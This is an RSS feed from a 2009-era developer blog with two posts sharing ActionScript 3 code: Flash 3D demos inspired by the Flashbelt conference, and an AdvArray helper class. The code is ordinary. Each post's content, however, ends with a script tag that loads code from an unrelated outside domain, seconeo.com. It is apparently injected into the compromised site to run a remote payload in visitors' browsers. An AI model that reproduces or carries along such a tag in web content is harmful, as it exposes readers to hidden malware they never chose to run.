<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>labs.hapticdata.com &#187; open-source</title>
	<atom:link href="http://labs.hapticdata.com/category/development/open-source/feed/" rel="self" type="application/rss+xml" />
	<link>http://labs.hapticdata.com</link>
	<description></description>
	<lastBuildDate>Wed, 11 Aug 2010 20:39:37 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Post-Flashbelt Experimentation</title>
		<link>http://labs.hapticdata.com/2009/07/post-flashbelt-experimentation/</link>
		<comments>http://labs.hapticdata.com/2009/07/post-flashbelt-experimentation/#comments</comments>
		<pubDate>Wed, 01 Jul 2009 16:17:19 +0000</pubDate>
		<dc:creator>Kyle</dc:creator>
				<category><![CDATA[development]]></category>
		<category><![CDATA[events]]></category>
		<category><![CDATA[open-source]]></category>

		<guid isPermaLink="false">http://labs.hapticdata.com/?p=263</guid>
		<description><![CDATA[Rather than repeating tidbits I picked up here and there, I want to show some things I have thrown together since Flashbelt and provide the source.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.flashbelt.com">Flashbelt</a> has come and gone for 2009, and again it was an experience that I feel lucky to have been a part of. It was great to spend 3 days with like-minded designers and developers; and to listen to presenters show where the past year has led them. Presenters demonstrated completed projects, experiments and the new tools they are using. Rather than repeating tidbits I picked up here and there, I want to show some things I have thrown together since Flashbelt. These are just some quick demos, for me they mainly serve as a form of notes to get familiar with some of the new features and also were thrown together as a quick &#8216;capabilities demo&#8217; for the team.
</p>
<p>
Below are three demos and source code. These demos use some new features, I wrote these for use with the free <a href="http://labs.adobe.com/technologies/flex4sdk/">Flex 4 SDK</a>, which you can also use with <a href="http://labs.adobe.com/technologies/flashbuilder4/">Flash Builder 4 Beta</a>, these classes are all very simple to convert for use with Flash CS4 instead.</p>
<p><span id="more-263"></span></p>
<p><strong>Slide 1:</strong> <em>Click on the photo and it shatters into pieces.</em> This is a custom effect I built after some inspiration from <a href="http://www.newmovieclip.com">Koen De Weggheleire&#8217; s</a> presentation &#8220;Play with Vectors.&#8221; For this effect I am drawing a 5&#215;5 grid of rectangles and filling them with their respective pixel&#8217;s from the original source image. When the image is clicked the pieces have physics properties applied to propel them.</p>
<pre class="code">
<code>
package com.hapticdata.fb2009
{
	import com.hapticdata.phsyics.AngularVelocityVector;
	import com.theflashblog.fp10.SimpleZSorter;
	import flash.geom.Vector3D;
	import flash.geom.Matrix3D;
	import flash.events.Event;
	import flash.events.MouseEvent;
	import flash.geom.Rectangle;
	import flash.geom.Point;
	import flash.geom.Matrix;
	import flash.display.BitmapData;
	import flash.display.Bitmap;
	import flash.display.Stage;
	import flash.display.Sprite;

	/**
	 * Exploading picture,
	 * image is embedded split into a grid, the respective pixels are copied to the Sprite,
	 * and AngularVelocityVector is used for the animation
	 * @author kphillips
	 */
	public class ExplodingPicture extends Sprite
	{

		[Embed (source="../../../../eyes4.jpg")]
		private var imgClass:Class;

		public var bd:BitmapData;

		public var columns:int = 10;
		public var rows:int = 10;

		public var gridWidth:int;
		public var gridHeight:int;

		public var container:Sprite;

		public var items:Vector.<Sprite>;
		public var avVectors:Vector.<AngularVelocityVector>;

		public var hasExploded:Boolean = false;
		public var axis:Vector.<Vector3D>;

		public var _stage:Stage;
		override public function get stage():Stage
		{
			return _stage;
		}

		public function ExplodingPicture(stage:Stage=null)
		{
			if(!stage)
			{
				stage = this.stage;
				_stage = this.stage;
			}
			else
			{
				this._stage = stage;
			}

			axis = new Vector.<Vector3D>();
			axis[0] = Vector3D.X_AXIS;
			axis[1] = Vector3D.Y_AXIS;
			axis[2] = Vector3D.Z_AXIS;

			avVectors = new Vector.<AngularVelocityVector>();

			addEventListener(Event.ENTER_FRAME,handleEnterFrame);

			container = new Sprite();
			container.x = stage.stageWidth*0.5;
			container.y = stage.stageHeight*0.5;
			addChild(container);

			bd = (new imgClass() as Bitmap).bitmapData;

			gridWidth = bd.width / columns;
			gridHeight = bd.height / rows;

			items = new Vector.<Sprite>();
			for(var c:int=0;c < columns;c++)
			{
				for(var r:int=0;r < rows;r++)
				{
					var s:Sprite = new Sprite();
					var m:Matrix = new Matrix();

					var rectBD:BitmapData = new BitmapData(gridWidth,gridHeight);
					rectBD.copyPixels(bd, new Rectangle(c*gridWidth,r*gridHeight,gridWidth,gridHeight), new Point(0,0));
					s.graphics.beginBitmapFill(rectBD,m);
					s.graphics.drawRect(0,0,gridWidth,gridHeight);
					s.graphics.endFill();
					s.addEventListener(MouseEvent.CLICK,handleMouseClick)

					items.push(s);
					container.addChild(s);
					var sx:Number = (c*gridWidth) - (bd.width*0.5);
					var sy:Number = (r*gridHeight) - (bd.height*0.5);
					s.transform.matrix3D = new Matrix3D();
					s.transform.matrix3D.appendTranslation(sx, sy, 0);

					var av:AngularVelocityVector = new AngularVelocityVector();
					av.vector = {x: s.x, y: s.y};
					av.forces = {vx: 0, vy:Math.random()*-25,angle:Math.random()*360, wind: -1, gravity: 4, drag: 0.999};
					avVectors.push(av);
				}
			}
		}

		private function handleEnterFrame(event:Event):void
		{
			if(hasExploded)
			{
				for(var i:uint=0;i < items.length;i++)
				{
					avVectors[i].step();
					items[i].x = avVectors[i].x;
					items[i].y = avVectors[i].y;

					var rot:int = 4;
					if(i&#038;1)rot *= -1;

					items[i].transform.matrix3D.appendRotation(rot, axis[i%axis.length]);
				}
			}
			SimpleZSorter.sortClips(container);
		}

		private function handleMouseClick(event:MouseEvent):void
		{
			hasExploded = true;
			(event.target as Sprite).transform.matrix3D.appendRotation(45,Vector3D.Z_AXIS);
		}
	}
}
</code>
</pre>
<p>The next 2 examples also were inspired by Koen's presentation. With Flash CS4 there is now a native 3d environment, using the <a href="http://livedocs.adobe.com/flex/3/langref/flash/geom/Matrix3D.html">Matrix3D</a> class it simple to work in three dimensions without the use of a third-party library like <a href="http://blog.papervision3d.org/">Papervision3D</a> or <a href="http://away3d.com/">Away3D</a>. I did however need to use <a href="http://theflashblog.com/?p=470">SimpleZSorter</a>, a great class I found on Lee Brimelow's <a href="http://theflashblog.com/">The Flash Blog</a>.</p>
<p><strong>Slide 2:</strong><em> Accelerated Drawing using Vectors and 3D Transformations.</em> This slide will draw 1000 squares in a 3d space, something that previously would've been very difficult for flash. Now using <a href="http://livedocs.adobe.com/flex/3/langref/Vector.html">Vector</a> (so much better than un-typed arrays), and some new drawing classes such as <a href="http://livedocs.adobe.com/flex/3/langref/flash/display/GraphicsPathCommand.html">GraphicsPathCommand</a> the drawing is very manageable on your systems resources.</p>
<pre class="code">
<code>
package com.hapticdata.fb2009
{
	import flash.display.BitmapData;
	import flash.display.GraphicsBitmapFill;
	import flash.display.GraphicsPath;
	import flash.display.GraphicsPathCommand;
	import flash.display.GraphicsPathWinding;
	import flash.display.GraphicsSolidFill;
	import flash.display.GraphicsStroke;
	import flash.display.IGraphicsData;
	import flash.display.LineScaleMode;
	import flash.display.Sprite;
	import flash.display.Stage;
	import flash.events.Event;
	import flash.geom.Matrix3D;
	import flash.geom.Point;
	import flash.geom.Vector3D;

	/**
	 * Drawing3D, using the Vector class and GraphicsPathCommands to accelerate drawing
	 * @author kphillips
	 */
	public class Drawing3D extends Sprite
	{

		public var i:int = 0;
		public var numShapes:int = 1000;

		public var commands:Vector.<int>;
		public var coords:Vector.<Number>;

		public var container:Sprite;
		public var shape:Sprite;

		public var _stage:Stage;

		override public function get stage():Stage {
			return _stage;
		}

		public function Drawing3D(stage:Stage = null)
		{
			if(!stage)
			{
				stage = this.stage;
				_stage = this.stage;
			}
			else
			{
				this._stage = stage;
			}
			container = new Sprite();
			container.x = stage.stageWidth * 0.5;
			container.y = stage.stageHeight * 0.5;

			addChild(container);

			commands = new Vector.<int>();
			commands[0] = GraphicsPathCommand.MOVE_TO;
			commands[1] = GraphicsPathCommand.LINE_TO;
			commands[2] = GraphicsPathCommand.LINE_TO;
			commands[3] = GraphicsPathCommand.LINE_TO;
			commands[4] = GraphicsPathCommand.LINE_TO;
			//
			commands[5] = GraphicsPathCommand.MOVE_TO;
			commands[6] = GraphicsPathCommand.LINE_TO;
			commands[7] = GraphicsPathCommand.LINE_TO;
			commands[8] = GraphicsPathCommand.LINE_TO;
			commands[9] = GraphicsPathCommand.LINE_TO;

			addEventListener(Event.ENTER_FRAME, handleEnterFrame);
		}

		private function handleEnterFrame(event:Event):void
		{
			if(i++ < numShapes)
			{
				//create shape
				var shape:Sprite = new Sprite();
				shape.transform.matrix3D = new Matrix3D();
				shape.transform.matrix3D.appendTranslation(-stage.stageWidth * 0.5, -stage.stageHeight * 0.5, Math.random() * 50 - 25);
				container.addChild(shape);

				var pt:Point = new Point(Math.random() * stage.stageWidth, Math.random() * stage.stageHeight);
				var width:int = Math.random() * 25 + 1
				var height:int = Math.random() * 25 + 1;
				coords = new Vector.<Number>();

				//left x
				coords[0] = pt.x - (width * 0.5);
				//top y
				coords[1] = pt.y - (height * 0.5);
				//right x
				coords[2] = pt.x + (width * 0.5);
				coords[3] = coords[1];

				coords[4] = coords[2];
				//bottom-y
				coords[5] = pt.y + (height * 0.5);

				coords[6] = coords[0];
				coords[7] = coords[5];

				coords[8] = coords[0];
				coords[9] = coords[1];

				var drawingData:GraphicsPath = new GraphicsPath(commands, coords, GraphicsPathWinding.NON_ZERO);
				var fillBitmap:GraphicsBitmapFill = new GraphicsBitmapFill(new BitmapData(width, height, true, Math.random() * 0xFFFFFF00));
				var stroke:GraphicsStroke = new GraphicsStroke(1, true, LineScaleMode.NONE, "none", "round", 3, new GraphicsSolidFill(0xffffff, 1));

				var graphicsData:Vector.<IGraphicsData> = new Vector.<IGraphicsData>();
				//fill
				graphicsData[0] = fillBitmap;
				//stroke
				graphicsData[1] = stroke;
				//data
				graphicsData[1] = drawingData;	//i don't want a stroke

				shape.transform.matrix3D.appendRotation(Math.random() * 360, Vector3D.Y_AXIS);
				shape.transform.matrix3D.appendRotation(Math.random() * 360, Vector3D.X_AXIS);

				shape.graphics.drawGraphicsData(graphicsData);

			}

			container.rotationY++;
		}
	}
}
</code>
</pre>
<p><strong>Slide 3:</strong> <em>Controlling an object's rotation in 3D</em> There isn't much new here, I'm just trying to show simple control of the environment. You can see how we can implement 3D planes and rotation very simply, this could open up some doors for possible navigations in future projects without a large time investment.</p>
<pre class="code">
<code>
package com.hapticdata.fb2009
{
	import flash.text.TextFormat;
	import flash.text.TextFieldAutoSize;
	import flash.text.TextField;
	import flash.display.Stage;
	import flash.events.MouseEvent;
	import flash.geom.Vector3D;

	import com.theflashblog.fp10.SimpleZSorter;
	import flash.geom.Matrix3D;
	import flash.geom.Point;
	import flash.events.Event;
	import flash.display.Bitmap;
	import flash.display.Sprite;

	/**
	 * Rotating3D, an embedded object, rotating in a 3d environment
	 * @author kphillips
	 */
	public class Rotating3D extends Sprite
	{
		[Embed (source="../../../../tree.png")]
		private var imgClass:Class;

		public var original:Bitmap;

		//circle properties
		public var radius:int = 150;
		public var center:Point;

		public var numItems:int = 8;

		public var rotY:Number=0;
		public var rotZ:Number=0;

		public var container:Sprite;
		public var items:Vector.<Bitmap>;

		public var _stage:Stage;
		override public function get stage():Stage
		{
			return _stage;
		}

		public function Rotating3D(stage:Stage=null)
		{
			if(!stage)
			{
				stage = this.stage;
				_stage = this.stage;
			}
			else
			{
				this._stage = stage;
			}
			stage.addEventListener(MouseEvent.MOUSE_MOVE,handleMouseMove);
			center = new Point(stage.stageWidth*0.5,stage.stageHeight*0.5);

			var tF:TextField = new TextField();
			tF.defaultTextFormat = new TextFormat("arial");
			tF.autoSize = TextFieldAutoSize.LEFT;
			tF.text = "move mouse to rotate";
			tF.x = 10;
			tF.y = 10;
			addChild(tF);

			container = new Sprite();
			container.x = center.x;
			container.y = center.y;
			addChild(container);
			container.addEventListener(MouseEvent.CLICK,handleClick);

			original = new imgClass() as Bitmap;

			items = new Vector.<Bitmap>();
			var radialStep:Number = 360 / numItems;
			for(var i:uint=0;i < numItems;i++)
			{
				items[i] = new Bitmap(original.bitmapData.clone());
				items[i].transform.matrix3D = new Matrix3D();
				var rotZ:int =radialStep * i;

				items[i].transform.matrix3D.appendTranslation(-items[i].width*0.5, -items[i].height*0.5, 0);
				items[i].transform.matrix3D.appendRotation(rotZ,Vector3D.Y_AXIS);

				container.addChild(items[i]);

			}

			//SimpleZSorter.sortClips(container);

			//container.rotationX += 60;
			//container.rotationX += 15;
			addEventListener(Event.ENTER_FRAME,handleEnterFrame);
		}

		private function handleMouseMove(event:MouseEvent):void
		{
			var distX:Number = mouseX - center.x;
			var distY:Number = mouseY - center.y;

			rotY = distX / (stage.stageWidth*0.5);
			rotZ = distY / (stage.stageHeight*0.5);
		}

		private function handleClick(event:MouseEvent):void
		{
                        //move back in z-space every click
			//if(event.target is Bitmap)
			//{
				event.target.transform.matrix3D.appendTranslation(0,0,10);
			//}
		}

		private function handleEnterFrame(event:Event):void
		{
			container.rotationY+=(rotY*-2);
			container.rotationZ+=(rotZ*-2);
			SimpleZSorter.sortClips(container);
		}
	}
}
</code>
</pre>
<p>
<object width="500" height="425">
<param name="movie" value="http://labs.hapticdata.com/wp-content/uploads/2009/07/presentation.swf"></param>
<param name="quality" value="high"></param>
<param name="wmode" value="window"></param>
<param name="menu" value="false"></param>
<param name="bgcolor" value="#FFFFFF"></param>
<embed type="application/x-shockwave-flash" width="500" height="425" src="http://labs.hapticdata.com/wp-content/uploads/2009/07/presentation.swf" quality="high" bgcolor="#FFFFFF" wmode="window" menu="false" ></embed>
</object>
<br />
<a href="http://labs.hapticdata.com/wp-content/uploads/2009/06/hd-fbexamples.zip">hd-fbexamples.zip</a> (source files)<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://labs.hapticdata.com/2009/07/post-flashbelt-experimentation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AdvArray for Actionscript 3</title>
		<link>http://labs.hapticdata.com/2008/10/advarray-for-actionscript-3/</link>
		<comments>http://labs.hapticdata.com/2008/10/advarray-for-actionscript-3/#comments</comments>
		<pubDate>Wed, 01 Oct 2008 17:34:57 +0000</pubDate>
		<dc:creator>Kyle</dc:creator>
				<category><![CDATA[open-source]]></category>
		<category><![CDATA[as3]]></category>

		<guid isPermaLink="false">http://labs.haptic-data.com/?p=15</guid>
		<description><![CDATA[I wrote a brief class extending Actionscript 3&#8217;s Array class. Each time that I have found myself repeating common array tasks I have tried to add it. The AdvArray Documentation contains a list of the methods I have added. The ones I find the most helpful are probably clone() and rotate().


package com.hapticdata {

	import flash.utils.ByteArray;

	/**
	 * [...]]]></description>
			<content:encoded><![CDATA[<p>I wrote a brief class extending Actionscript 3&#8217;s Array class. Each time that I have found myself repeating common array tasks I have tried to add it. The <a href="http://labs.haptic-data.com/wp-content/uploads/2008/10/AdvArray.html">AdvArray Documentation</a> contains a list of the methods I have added. The ones I find the most helpful are probably <a href="http://labs.haptic-data.com/wp-content/uploads/2008/10/AdvArray.html#clone()">clone()</a> and <a href="http://labs.haptic-data.com/wp-content/uploads/2008/10/AdvArray.html#rotate()">rotate()</a>.</p>
<pre class="code">
<code>
package com.hapticdata {

	import flash.utils.ByteArray;

	/**
	 * Adds extra methods to arrays for easier manipulation
	 * @class AdvArray
	 * @author Kyle Phillips - <a href="http://www.haptic-data.com">http://www.haptic-data.com</a>
	 * @created Jun 29, 2008
	 */
	dynamic public class AdvArray extends Array {
		public function AdvArray(...args) {
			//this = this as Array;
			for each(var i:* in args)
			{
				super.push(i);
			}
			//super(...args);
		}

		 /**
		  * add an array to the end of the existing AdvArray
		  * @param a (Array) the array to append
		  * @return the new length of the array
		  */
		 public function append(a:Array):uint
		 {
		 	for(var i:uint=0;i < a.length;i++)
		 	{
		 		super.push(a[i]);
		 	}
		 	return super.length;
		 }
		 /**
		  * add an array at a given index of the existing AdvArray, defaults to the beginning of the array
		  * @param a (Array) the array to append
		  * @param index (uint) the index of the array to start placing the new array
		  * @return the new length of the array
		  */
		 public function appendAt(a:Array,index:uint=0):uint
		 {
		 	append(a);
		 	rotate(((a.length)+index)*-1);
		 	return super.length;
		 }
		/**
		 * allows you to search the array for a specific value, similar to MovieClip.contains()
		 * @param i (*) the value you are searching the array for
		 * @return returns Boolean
		 * @example
		 * if(myArray.contains("my string"))var myString:String = myArray.pluck(myArray.indexOf("my string"));
		 */
		public function contains(i:*):Boolean
		{
			var index:int = this.indexOf(i);
			return (index != -1) ? true : false;
		}

		/**
		 * pull an item out of the array by its index and re-sort the array
		 * @param index (int) the index of the array to pluck
		 * @return the item that was removed from the array
		 */
		public function pluck(index:int):* {
			return super.splice(index,1);
		}

		/**
		 * allows you to cycle an array one step forward, placing the first item at the end of the array
		 * @return returns the new AdvArray
		 */
		public function rotateForward():Array {
			var firstItem:* = super.shift();
			super.push(firstItem);
			return this;
		}
		/**
		 * allows you to cycle an array one step backwards, placing the last item at the beginning of the array
		 * @return returns the new AdvArray
		 */
		public function rotateBackwards():Array {
			var lastItem:* = super.pop();
			super.unshift(lastItem);
			return this;
		}
		/**
		 * allows you to specify a positive or negative value to cycle the array, 0 will do nothing
		 * @param inc (int) positive or negative value for direction and amount to rotate the array
		 * @return returns the new AdvArray
		 */
		public function rotate(inc:int=1):Array {
			if(inc > 0)
			{
				for(var j:int=0;j < inc;j++) rotateForward();
			}
			else if(inc<0)
			{
				for(var k:int=0;k > inc;k--)rotateBackwards();
			}
			return this;
		}
		/**
		 * makes a shallow copy of the current array
		 * Flex3 LiveDocs: In a shallow copy, if the original array has elements that are objects, only the
		 * references to the objects are copied rather than the objects themselves. The copy points to the same objects as the original does.
		 * Any changes made to the objects are reflected in both arrays.<http://livedocs.adobe.com/flex/3/html/help.html?content=10_Lists_of_data_6.html>
		 * @return a shallow copy of the current array
		 */
		public function shallowCopy():Array
		{
			return super.concat();
		}

		/**
		 * makes a deep copy of the current array
		 * Flex3 LiveDocs: In a deep copy, any objects found in the original array are also copied
		 * so the the new array does not point to the same objects as does the original array. <http://livedocs.adobe.com/flex/3/html/help.html?content=10_Lists_of_data_6.html>
		 * @return a deep copy of the current array
		 */
		public function clone():Array
		{
    		var myBA:ByteArray = new ByteArray();
    		myBA.writeObject(super);
    		myBA.position = 0;
    		return(myBA.readObject());
		}

	}
}
</code>
</pre>
<p>Download the source:<br />
<a href="http://labs.haptic-data.com/wp-content/uploads/2008/10/advarray.as">AdvArray.as</a><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://labs.hapticdata.com/2008/10/advarray-for-actionscript-3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
